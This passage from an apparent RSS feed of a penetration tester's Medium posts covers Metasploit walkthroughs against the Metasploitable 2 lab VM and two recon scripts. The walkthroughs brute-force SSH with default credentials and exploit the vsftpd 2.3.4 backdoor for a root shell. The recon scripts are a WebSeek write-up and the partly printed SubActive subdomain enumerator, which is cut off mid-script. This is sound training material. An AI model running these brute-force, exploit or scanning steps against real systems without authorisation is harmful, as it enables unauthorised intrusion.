22.</p><p>You can verify this by running an <strong>Nmap</strong> scan:</p><pre>nmap -p 22 -sV [target_IP]</pre><p>Here’s the output I got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C3-d8vyZ0VOMqxOpeZ1Mhg.png" /><figcaption>Nmap Scan</figcaption></figure><p>The information of our use as of now is:</p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)</pre><h3>Step 2: Using Metasploit to Attack OpenSSH</h3><p>For this attack, I used the <strong>Metasploit Framework</strong>. Metasploit’s auxiliary modules provide an effective way to brute-force SSH credentials. In this case, I used the ssh_login module.</p><p>Start Metasploit by typing: (q flag is for quiet mode not mandatory)</p><pre>msfconsole -q</pre><p>Once Metasploit is up and running, the next step is to use the <strong>SSH Login Scanner</strong> module.</p><h3>Step 3: Setting Up the SSH Login Scanner</h3><p>To begin, I used the following command:</p><pre>use auxiliary/scanner/ssh/ssh_login</pre><p>This command loads the <strong>ssh_login</strong> module, which is designed for brute-forcing SSH credentials. Then, I set the IP address of the target system:</p><pre>set RHOSTS [target_IP]</pre><p>I also provided a list of possible usernames and passwords. Metasploit comes with several wordlists, and I decided to use the USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt for users:</p><h3>Step 4: Launching the Brute-Force Attack</h3><p>Once everything was set up, I launched the brute-force attack with the following command:</p><pre>run</pre><p>Metasploit began testing the combinations of usernames and passwords. After a while, I got the following result:</p><pre>[+] 192.168.35.129:22 - Success: &#39;msfadmin:msfadmin&#39;</pre><p>Bingo! The default credentials <strong>msfadmin </strong>worked.</p><h3>Step 5: Using the Opened SSH Session in Metasploit</h3><p>Once I obtained the credentials, I used Metasploit to interact with the open SSH session. After brute-forcing the credentials in Step 4, Metasploit automatically opened a session for me.</p><p>To list the available sessions, I ran the following command:</p><pre>sessions -i</pre><p>I saw the following output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*q4wepooTk8y79nTINQecgA.png" /></figure><p>The session ID for my SSH connection was <strong>1</strong>. To interact with the session, I used:</p><pre>sessions -i 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6j9CPLK93eKIj_YaNV039g.png" /></figure><p>The output confirmed that I was logged in as the user msfadmin:</p><pre>uid=1000(msfadmin) gid=1000(msfadmin) groups=1000(msfadmin)</pre><p>Now, I had full access to the system through the Metasploit session.</p><p>This revised Step 5 demonstrates how to use Metasploit’s session management to interact with the compromised system.</p><blockquote><strong><em>Don’t hesitate to connect with me on …</em></strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://x.com/thefellowhacker"><strong>thefellowhacker </strong></a><strong>🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><p>🔐 <strong>Key Takeaways:</strong></p><ul><li>Always secure your SSH services with strong, non-default credentials.</li><li>Brute-forcing remains a valid attack vector if the target system is misconfigured.</li><li>Metasploit is a powerful tool for penetration testing and vulnerability discovery.</li></ul><h3>Conclusion</h3><p>While OpenSSH 4.7p1 isn’t vulnerable to any specific remote code execution exploit, weak credentials opened the door for exploitation. Using Metasploit, I brute-forced SSH credentials, accessed the system, and gained a foothold.</p><p>This attack highlights the importance of using strong, unique passwords and disabling SSH access where not required. Stay tuned for my next post, where I’ll explore escalating privileges on Metasploitable 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Atl3HcnA4pcPUVPD0xCDQ.jpeg" /><figcaption><strong>Happy hacking! Bye bye, hackers 👋</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ad75c747668" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploit Like a Pro: Walkthrough of Metasploitable 2 with Metasploit Part I]]></title>
            <link>https://osintteam.blog/exploit-like-a-pro-walkthrough-of-metasploitable-2-with-metasploit-part-i-cf9d332b6c8c?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf9d332b6c8c</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vsftpd234]]></category>
            <category><![CDATA[metasploitable2]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 04:35:08 GMT</pubDate>
            <atom:updated>2024-09-07T04:37:42.862Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>By </em><strong><em>Taahir Mujawarr</em></strong><em>, Certified Ethical Hacker &amp; Cyber Security Researcher</em></blockquote><p><a href="https://medium.com/@thefellowhacker">Taahir Mujawarr - Medium</a></p><p>Hello everyone 👋, I’m back with another exciting and educational walkthrough! This time, we’re diving deep into the world of penetration testing as I explore one of the most popular vulnerable VMs out there — Metasploitable 2.</p><p>Whether you’re just starting or sharpening your hacking skills, this step-by-step guide will show you how to identify and exploit common vulnerabilities using Metasploit. Let’s get started and turn theory into hands-on experience!</p><p>Metasploitable 2 is a Linux-based VM that contains numerous intentional vulnerabilities across its services, making it ideal for learning how to:</p><ul><li><strong>Identify and exploit vulnerabilities</strong> using Metasploit and other security tools.</li><li><strong>Understand the lifecycle</strong> of a penetration testing engagement: scanning, enumeration, exploitation, and post-exploitation.</li><li>Practice ethical hacking skills in a safe environment.</li></ul><h3>Setup Requirements:</h3><p>To get started with Metasploitable 2, you’ll need:</p><ul><li>A <strong>Kali Linux</strong> VM (or any other penetration testing environment).</li><li>The <strong>Metasploitable 2 VM</strong> (downloadable from <a href="https://sourceforge.net/projects/metasploitable/files/latest/download">here</a>).</li><li><strong>Virtualization software</strong> like VirtualBox or VMware to run both VMs.</li></ul><h3>Step 1: Setting Up Metasploitable 2</h3><ol><li><strong>Download and Install:</strong></li></ol><ul><li><a href="https://sourceforge.net/projects/metasploitable/files/latest/download">Download</a> the Metasploitable 2 VM image from the official site.</li><li>Import the VM into VirtualBox or VMware.</li><li>Ensure that both your Kali Linux VM and Metasploitable 2 are set to the same network mode (preferably “Host-Only” or “NAT”).</li></ul><p><strong>Check Network Configuration:</strong></p><ul><li>Boot up both VMs and check the IP addresses.</li><li>In Kali Linux, run:</li></ul><pre>ifconfig</pre><ul><li>In Metasploitable 2, run:</li></ul><pre>ifconfig</pre><ul><li>Note the IP address of the Metasploitable 2 VM. You will use this for all interactions during the walkthrough.</li></ul><h3>Step 2: Scanning &amp; Enumeration</h3><h3>1. Nmap Scan</h3><p>Nmap is a widely used network scanning tool that helps in discovering hosts, services, and open ports on the target system.</p><ul><li>Run an Nmap scan against the Metasploitable 2 VM:</li></ul><pre> nmap -sV -A &lt;Metasploitable2_IP&gt;</pre><p>The scan will return a list of open ports and services. You will likely find services like:</p><ul><li><strong>FTP (vsftpd)</strong></li><li><strong>SSH</strong></li><li><strong>Telnet</strong></li><li><strong>MySQL</strong></li><li><strong>Apache HTTP Server</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSEX6PPgk8fVWfAVxu1Kpg.png" /><figcaption>Nmap Scan Results</figcaption></figure><p>The goal is to identify potential vulnerabilities associated with these services.</p><h3>2. Enumeration with Nikto</h3><p>Nikto is a web server scanner that helps identify potential security vulnerabilities in web applications.</p><ul><li>To scan the web server running on port 80, run Nikto:</li></ul><pre>nikto -h http://&lt;Metasploitable2_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVtEqtLvBleI5mUcAwqBeA.png" /><figcaption>Nikto Scan Results</figcaption></figure><ul><li>Nikto will return a list of potential security flaws, such as outdated software versions and misconfigurations.</li></ul><h3>Step 3: Exploiting Vulnerabilities</h3><p>Once the enumeration phase is done, you can move on to the exploitation of vulnerabilities. Here, we’ll explore a few commonly found vulnerabilities in Metasploitable 2.</p><h3>1. Exploiting vsftpd Backdoor (Port 21 — FTP)</h3><ul><li>The Nmap scan shows that vsftpd 2.3.4 is running on port 21, which contains a known backdoor vulnerability.</li><li>In Metasploit, search for the vsftpd exploit:</li></ul><pre>msfconsole search vsftpd</pre><ul><li>Load the exploit module and configure the target:</li></ul><pre>use exploit/unix/ftp/vsftpd_234_backdoor <br>set RHOST &lt;Metasploitable2_IP&gt; <br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oExdf2c8qweLsCSm-4FzNg.png" /><figcaption>vsftpd 2.3.4 Exploit</figcaption></figure><ul><li>If successful, you will gain a <strong>root shell</strong> on the target.</li></ul><p>If you found this guide helpful, give it a clap 👏, save it for later, and don’t forget to follow! I’ll be exploiting all the remaining ports in Metasploitable 2, so stay tuned for more hacking adventures!🚀</p><blockquote><strong><em>Don’t hesitate to connect with me on …</em></strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://x.com/thefellowhacker"><strong>thefellowhacker </strong></a><strong>🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cSXJfAN3Vplo8FFrxVLxFw.jpeg" /><figcaption><strong>Happy hacking! Bye bye, Hackers 👋</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf9d332b6c8c" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/exploit-like-a-pro-walkthrough-of-metasploitable-2-with-metasploit-part-i-cf9d332b6c8c">Exploit Like a Pro: Walkthrough of Metasploitable 2 with Metasploit Part I</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[‍Hacking Hidden Gems: Content Discovery with Webseek]]></title>
            <link>https://medium.com/@thefellowhacker/hacking-hidden-gems-content-discovery-with-webseek-cf5a00c97d72?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf5a00c97d72</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Mon, 01 Jul 2024 13:42:03 GMT</pubDate>
            <atom:updated>2024-07-19T07:28:34.209Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>By </em><strong><em>Tahir Mujawar</em></strong><em>, Certified Ethical Hacker &amp; Cyber Security Researcher</em></blockquote><p>Hello everyone 👋, I’m back with another intriguing and unique story. I’m on a mission to write bash scripts for every task that requires automation in bug bounty hunting.</p><p>As many of you know, I’ve already completed work on <a href="https://medium.com/@hackertam1">subdomain enumeration</a>, so I decided to move forward with content discovery. To tackle this, I began researching the methodologies used by various security researchers and bug bounty hunters for content discovery.</p><figure><img alt="Content Discovery with webseek by Tahir Mujawar" src="https://cdn-images-1.medium.com/max/1024/1*bapDBwNsWqlOlfI6y5t0sw.jpeg" /><figcaption><strong>Content Discovery with webseek by Tahir Mujawar</strong></figcaption></figure><p>After studying and observing a wealth of resources available online, I came up with the idea to create my own content discovery script, <strong>WebSeek</strong>. The most challenging part was deciding on the methodologies, tools, and workflows to adopt. Eventually, I outlined certain key points to clarify my requirements.</p><blockquote><strong>WebSeek </strong>is a content discovery script designed to find urls and parameters, perform JavaScript file enumeration, extract endpoints using gf patterns for well-known vulnerabilities, and utilize unfurl to extract paths, key pairs, keys, and parameter values.</blockquote><p><strong>Features</strong></p><ul><li><strong>Comprehensive URL Discovery :</strong> Aggregates URLs from various tools including gospider, waybackurls, hakrawler, gau, and katana.</li><li><strong>Parameter Discovery :</strong> Extracts and identifies URL parameters using tools like ParamSpider, Parameth, and roboxtractor.</li><li><strong>JavaScript File Enumeration : </strong>Enumerates JavaScript files using LinkFinder, subjs, and katana.</li><li><strong>Unfurl URL Parsing :</strong> Decomposes URLs into paths, keys, values, and JSON data for detailed analysis.</li><li><strong>Sensitive Pattern Detection :</strong> Searches for sensitive patterns like passwords, admin panels, and email addresses within URLs.</li><li><strong>Vulnerability Pattern Search : </strong>Uses gf to detect common vulnerability patterns such as XSS, SQLi, SSRF, and more.</li><li><strong>Automated Directory Creation : </strong>Automatically sets up directories for organizing scan results.</li><li><strong>Customizable Output Directory :</strong> Allows specification of a custom output directory for organizing results.</li><li><strong>Parallel Processing :</strong> Scans multiple domains or subdomains in parallel for efficiency.</li><li><strong>Logging :</strong> Maintains logs of scanning activities and errors for troubleshooting and record-keeping.</li></ul><p>Now, let’s dive into how to configure and use <strong>WebSeek </strong>👨🏻‍💻</p><p><strong>Prerequisites</strong></p><p>Ensure the following tools are installed and accessible in your system’s PATH -</p><pre>gospider - https://github.com/jaeles-project/gospider<br>waybackurls - https://github.com/tomnomnom/waybackurls<br>hakrawler - https://github.com/hakluke/hakrawler<br>gau (GetAllUrls) - https://github.com/lc/gau<br>waymore - https://github.com/xnl-h4ck3r/waymore<br>katana - https://github.com/projectdiscovery/katana<br>paramspider - https://github.com/devanshbatham/ParamSpider<br>parameth - https://github.com/maK-/parameth<br>roboxtractor - https://github.com/yoeelingbin/roboxtractor<br>github-endpoints - https://github.com/gwen001/github-search<br>subjs - https://github.com/lc/subjs<br>LinkFinder - https://github.com/GerbenJavado/LinkFinder<br>uro - https://github.com/s0md3v/uro<br>unfurl - https://github.com/tomnomnom/unfurl<br>gf (grep patterns) - https://github.com/tomnomnom/gf<br>mantra - https://github.com/0xPayne/Mantra<br>secretfinder - https://github.com/m4ll0k/SecretFinder</pre><p><strong>Installation </strong>👨🏻‍💻</p><p>First, clone the repository from my GitHub profile.</p><p><a href="https://github.com/hackytam/webseek/">GitHub - hackytam/webseek: WebSeek is a content discovery script written in Bash, designed to automate the process of gathering URLs and identifying potential vulnerabilities from a specified domain or list of subdomains.</a></p><p>Change directory by hitting command</p><pre>cd webseek</pre><p>Then, make the webseek.sh script executable by running the command</p><pre>chmod +x webseek.sh</pre><p><strong>Note: </strong>You must have to configure Github Tokens in token.txt file.</p><ul><li>You will need to configure your GitHub tokens in a file named token.txt using the following format: <strong>GITHUB_TOKEN=GITHUB_TOKEN_HERE</strong> and so on for github-endpoint discovery.</li><li>Additionally, if you have your own parameter wordlist, you can modify <strong>medium.txt</strong> accordingly.</li></ul><figure><img alt="Content Discovery with webseek by Tahir Mujawar" src="https://cdn-images-1.medium.com/max/1024/1*M0_-tpIhfnoS3-QBY39kqw.png" /><figcaption><strong>webseek by Tahir Mujawar</strong></figcaption></figure><p>To run the script for <strong>single domain</strong>, use the following command:</p><pre>./webseek.sh -d https://example.com -o output_directory</pre><p>Ensure that the URL specified with the <strong>-d</strong> option includes <a href="https://./"><strong>https://</strong></a></p><p>To run the script for <strong>subdomain list</strong>, use the following command:</p><pre>./webseek.sh -sL subdomains.txt -o output_directory</pre><p>That’s all from today, Researching takes considerable time, so if you found this helpful, please give it a <strong>like</strong>, <strong>share</strong> <strong>it</strong> with others, and <strong>follow</strong> for more updates. Your support is greatly appreciated and keeps the cyber journey strong!</p><blockquote><strong><em>Don’t hesitate to connect with me on ...</em></strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/TheFellowHacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://x.com/thefellowhacker"><strong>thefellowhacker </strong></a><strong>🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><figure><img alt="Content Discovery with webseek by Tahir Mujawar" src="https://cdn-images-1.medium.com/max/1024/1*4ToxEoylMpKwDOujbcIr1g.jpeg" /><figcaption>webseek</figcaption></figure><p><strong>Happy hacking! Bye bye, hackers 👋</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf5a00c97d72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SubActive: Cracking the Digital Code]]></title>
            <link>https://medium.com/@thefellowhacker/subactive-cracking-the-digital-code-447769fdb6e2?source=rss-f08e17c956d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/447769fdb6e2</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Taahir Mujawarr]]></dc:creator>
            <pubDate>Wed, 22 May 2024 13:48:03 GMT</pubDate>
            <atom:updated>2024-07-19T07:30:00.884Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>By <strong>Tahir Mujawar</strong>, Certified Ethical Hacker &amp; Cyber Security Researcher</blockquote><p>Hey there, I’m <strong>Tahir Mujawar</strong>, a cyber adventurer on a mission to unravel the secrets of the digital universe. Step into the realm of cyber exploration with SubActive, where every line of code uncovers hidden treasures in the vast digital landscape. Get ready to embark on a thrilling adventure into the depths of active subdomain discovery.</p><figure><img alt="subActive by Tahir Mujawar" src="https://cdn-images-1.medium.com/max/1024/1*5bbH87d6VWhIW6ppgR7XGQ.jpeg" /><figcaption>subActive by Tahir Mujawar</figcaption></figure><p>So, remember my previous script, “<a href="https://medium.com/@tamhacker1/hack-like-a-pro-precons-simple-subdomain-secrets-a87e5b741b0b"><strong>Precon</strong></a>”? It was all about passive subdomain discovery. Well, I’m back with something even more exciting — “SubActive”!</p><p>Picture this: “SubActive” is like the James Bond of scripts, always on the lookout for hidden secrets. It doesn’t just sit back and wait; oh no, it’s proactive. It uses techniques like DNS brute forcing with PureDNS, generates permutations with Gotator, and then resolves them again with PureDNS. It’s like peeling back layers of digital onion to reveal what’s underneath.</p><p>But that’s not all. “SubActive” dives headfirst into the web, probing with HTTPX and crawling URLs with Gospider. It’s like a digital detective, sifting through web content to uncover hidden subdomains. Once it finds them, it doesn’t stop there. It extracts and resolves them with PureDNS, shining a light on what was once in the shadows.</p><p>But wait, there’s more! “SubActive” goes beyond just subdomains. It delves into Google Analytics relationships, scans for TLS, CSP, and CNAME records, and even explores VHOSTs using tools like HostHunter and brute forcing techniques.</p><p>And the grand finale? Web probing with Unimap to scan common and open ports. It’s like checking every nook and cranny for potential vulnerabilities, leaving no stone unturned.</p><p><strong>This is how subActive bash script looks like :</strong></p><pre>#!/bin/bash<br><br># Define colors<br>RED=$(tput setaf 1)<br>GREEN=$(tput setaf 2)<br>YELLOW=$(tput setaf 11)<br>CYAN=$(tput setaf 6)<br>WHITE=$(tput setaf 15)<br>RESET=$(tput sgr0)  # Reset color<br><br># Function to display script usage<br>display_usage() {<br>    echo &quot;SubActive is an active subdomain enumeration bash script that discovers subdomains for websites using various tools.&quot;<br>    echo &quot;&quot;<br>    echo -e &quot;Usage: $0 [options]&quot;<br>    echo &quot;&quot;<br>    echo &quot;Options:&quot;<br>    echo &quot;  -h, --help               Display this help message&quot;<br>    echo &quot;  -d, --domain &lt;name&gt;      Specify a single domain name to enumerate its subdomains&quot;<br>    echo &quot;  -sL, --subdomains-list   Specify a file containing a list of subdomains&quot;<br>    echo &quot;  -pw, --wordlist &lt;file&gt;   Specify a wordlist for PureDNS&quot;<br>    echo &quot;  -vw, --wordlist &lt;file&gt;   Specify a wordlist for VHost&quot;<br>    echo &quot;  -p, --permuted-list &lt;file&gt; Specify a permutations list&quot;<br>    echo &quot;  -ip, --ip-addresses &lt;file&gt; Specify a file containing IP addresses&quot;<br>    echo &quot;  -r, --resolvers &lt;file&gt;   Specify a file containing DNS resolvers&quot;<br>    echo &quot;  -o, --output &lt;directory&gt; Specify output directory (optional, if not specified, then a directory will be created with the domain name)&quot;<br>    echo &quot;&quot;<br>    echo &quot;Example: $0 -d example.com -sL &lt;subdomain_list&gt; -pw &lt;puredns_wordlist&gt; -vw &lt;vhost_wordlist&gt; -p permutations-list.txt -ip ip-addresses.txt -r fresh-resolvers.txt -o /path/to/output&quot;<br>    exit 1<br>}<br><br># Function for logging<br>log() {<br>    local log_file=&quot;recon.log&quot;<br>    local timestamp=$(date +&quot;%Y-%m-%d %T&quot;)<br>    echo &quot;[$timestamp] $1&quot; &gt;&gt; &quot;$log_file&quot;<br>    local message=&quot;$1&quot;<br>    local color=&quot;$2&quot;<br>}<br><br># Default variables<br>domain=&quot;&quot;<br>subdomains_list=&quot;&quot;<br>puredns_wordlist=&quot;&quot;<br>vhost_wordlist=&quot;&quot;<br>permuted_list=&quot;&quot;<br>ip_addresses=&quot;&quot;<br>resolvers=&quot;&quot;<br>output_dir=&quot;&quot;<br>postfix=&quot;_subActive&quot;<br><br># Parse command line options<br>while [[ $# -gt 0 ]]; do<br>    key=&quot;$1&quot;<br>    case $key in<br>        -h|--help)<br>            display_usage<br>            ;;<br>        -d|--domain)<br>            domain=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        -sL|--subdomains-list)<br>            subdomains_list=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        -pw|--puredns-wordlist)<br>            puredns_wordlist=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        -vw|--vhost-wordlist)<br>            vhost_wordlist=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        -p|--permuted-list)<br>            permuted_list=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        -ip|--ip-addresses)<br>            ip_addresses=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        -r|--resolvers)<br>            resolvers=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        -o|--output)<br>            output_dir=&quot;$2&quot;<br>            shift 2<br>            ;;<br>        *)<br>            log &quot;Unknown option: $1&quot; &quot;$RED&quot;<br>            display_usage<br>            ;;<br>    esac<br>done<br><br># Enable immediate exit on error<br>set -e<br><br># Validate input parameters<br>if [ -z &quot;$domain&quot; ]; then<br>    log &quot;Error: You must specify a domain name.&quot; &quot;$RED&quot;<br>    display_usage<br>elif [ -z &quot;$subdomains_list&quot; ]; then<br>    log &quot;Error: You must specify a subdomains list file.&quot; &quot;$RED&quot;<br>    display_usage<br>elif [ -z &quot;$puredns_wordlist&quot; ]; then<br>    log &quot;Error: You must specify a wordlist file for PureDNS.&quot; &quot;$RED&quot;<br>    display_usage<br>elif [ -z &quot;$vhost_wordlist&quot; ]; then<br>    log &quot;Error: You must specify a wordlist file for VHost.&quot; &quot;$RED&quot;<br>    display_usage<br>elif [ -z &quot;$permuted_list&quot; ]; then<br>    log &quot;Error: You must specify a permutations list file.&quot; &quot;$RED&quot;<br>    display_usage<br>elif [ -z &quot;$ip_addresses&quot; ]; then<br>    log &quot;Error: You must specify an IP addresses list file.&quot; &quot;$RED&quot;<br>    display_usage<br>elif [ -z &quot;$resolvers&quot; ]; then<br>    log &quot;Error: You must specify a DNS resolvers list file.&quot; &quot;$RED&quot;<br>    display_usage<br>fi<br><br># Create output directory if not provided<br>if [ -z &quot;$output_dir&quot; ]; then<br>    output_dir=&quot;$domain&quot;<br>    mkdir -p &quot;$output_dir&quot; || { log &quot;Error: Could not create output directory: $output_dir&quot; &quot;$RED&quot;; exit 1; }<br>else<br>    mkdir -p &quot;$output_dir&quot; || { log &quot;Error: Could not create output directory: $output_dir&quot; &quot;$RED&quot;; exit 1; }<br>fi<br><br>COMMON_PORTS_WEB=&quot;81,300,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5601,5800,6543,7000,7001,7396,7474,8000,8001,8008,8014,8042,8060,8069,8080,8081,8083,8088,8090,8091,8095,8118,8123,8172,8181,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9001,9043,9060,9080,9090,9091,9200,9443,9502,9800,9981,10000,10250,11371,12443,15672,16080,17778,18091,18092,20720,32000,55440,55672&quot;<br><br># Banner<br>echo &quot;&quot;<br>echo &quot;███████╗██╗   ██╗██████╗  █████╗  ██████╗████████╗██╗██╗   ██╗███████╗&quot;<br>echo &quot;██╔════╝██║   ██║██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██║██║   ██║██╔════╝&quot;<br>echo &quot;███████╗██║   ██║██████╔╝███████║██║        ██║   ██║██║   ██║█████╗  &quot;<br>echo &quot;╚════██║██║   ██║██╔══██╗██╔══██║██║        ██║   ██║╚██╗ ██╔╝██╔══╝  &quot;<br>echo &quot;███████║╚██████╔╝██████╔╝██║  ██║╚██████╗   ██║   ██║ ╚████╔╝ ███████╗&quot;<br>echo &quot;╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚═╝  ╚═══╝  ╚══════╝&quot;<br>echo &quot;&quot;<br><br>echo &quot;&gt;&gt; ${RED}# Active subdomain discovery${RESET}&quot;<br>echo -e &quot;&gt;&gt;${YELLOW} # Created with ♥ by @TahirMujawar${RESET}&quot;<br>echo &quot;&quot;<br>echo &quot;__________________________♥ Scanning ♥________________________________&quot;<br>echo &quot;&quot;<br><br># DNS Bruteforcing<br>echo -e &quot;${WHITE}Performing DNS bruteforcing...${RESET}&quot;<br>log &quot;Performing DNS bruteforcing&quot;<br>puredns bruteforce &quot;$puredns_wordlist&quot; &quot;$domain&quot; -r &quot;$resolvers&quot; -w &quot;$output_dir/dns-brute-results$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1<br>echo -e &quot;${YELLOW}DNS bruteforcing completed!${RESET}&quot;<br>log &quot;DNS bruteforcing completed!&quot;<br><br># Generate permutations using Gotator<br>echo -e &quot;${WHITE}Generating permutations for subdomains...${RESET}&quot;<br>log &quot;Generating permutations for subdomains&quot;<br>gotator -sub &quot;$subdomains_list&quot; -perm &quot;$permuted_list&quot; -depth 1 -numbers 10 -mindup -adv -md &gt; &quot;$output_dir/permutations-for-sub$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br>echo &quot;Permutation generation completed!&quot;<br>log &quot;Permutation generation completed&quot;<br><br># Perform DNS resolution using PureDNS<br>echo -e &quot;${WHITE}Resolving DNS for generated permutations...${RESET}&quot;<br>log &quot;Resolving DNS for generated permutations&quot;<br>puredns resolve &quot;$output_dir/permutations-for-sub$postfix&quot; -r &quot;$resolvers&quot; &gt; &quot;$output_dir/resolved-dns-results$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br>echo -e &quot;${YELLOW}DNS resolution completed.${RESET}&quot;<br>log &quot;DNS resolution completed&quot;<br><br># JS/Source code scraping<br>echo -e &quot;${WHITE}Web probing the subdomains...${RESET}&quot;<br>log &quot;Web probing the subdomains&quot;<br>cat &quot;$subdomains_list&quot; | httpx -random-agent -retries 2 -no-color -o &quot;$output_dir/httpx-probed$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br>log &quot;Web probing completed&quot;<br><br>echo -e &quot;${WHITE}Crawling URLs using Gospider...${RESET}&quot;<br>log &quot;Crawling URLs using Gospider&quot;<br>gospider -S &quot;$output_dir/httpx-probed$postfix.txt&quot; -t 100 -d 3 --sitemap --robots -w -r &gt; &quot;$output_dir/gospider$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br>echo -e &quot;${WHITE}Cleaning the output...${RESET}&quot;<br>log &quot;Cleaning the output generated by Gospider&quot;<br>sed -i &#39;/^.\{2048\}./d&#39; &quot;$output_dir/gospider$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1<br>echo -e &quot;${WHITE}Extracting subdomains from URLs...${RESET}&quot;<br>log &quot;Extracting subdomains from URLs&quot;<br>cat &quot;$output_dir/gospider$postfix.txt&quot; | grep -Eo &#39;https?://[^ ]+&#39; | sed &#39;s/]$//&#39; | unfurl -u domains | grep &quot;.$domain$&quot; | sort -u &gt; &quot;$output_dir/scrapped_subs$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br>echo -e &quot;${WHITE}Resolving subdomains...${RESET}&quot;<br>log &quot;Resolving subdomains&quot;<br>puredns resolve &quot;$output_dir/scrapped_subs$postfix.txt&quot; -r &quot;$resolvers&quot; -w &quot;$output_dir/resolved-subs$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br>echo -e &quot;${YELLOW}Scraping completed!${RESET}&quot;<br>log &quot;Scraping completed&quot;<br><br># Google Analytics <br>echo -e &quot;${WHITE}Performing Google Analytics relationships scan...${RESET}&quot;<br>log &quot;Performing Google Analytics relationships scan&quot;<br>analyticsrelationships --url &quot;$domain&quot; &gt; &quot;$output_dir/google_analytics$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1<br>echo -e &quot;${YELLOW}Google Analytics scan completed!${RESET}&quot;<br>log &quot;Google Analytics scan completed&quot;<br><br># TSL, CNAME, CSP<br>echo -e &quot;${WHITE}Finding subdomains using Cero${RESET}&quot;<br>log &quot;Finding subdomains using Cero&quot;<br>cero &quot;$domain&quot; | sed &#39;s/^*.//&#39; | grep -e &quot;\.&quot; | sort -u &gt; &quot;$output_dir/cero-output$postfix.txt&quot; &gt; /dev/null 2&gt;&amp;1 <br>log &quot;Finding subdomains using Cero completed&quot;<br><br>echo -e &quot;${WHITE}Finding subdomains using CSP${RESET}&quot;<br>log &quot;Finding subdomains using CSP&quot;<br>cat 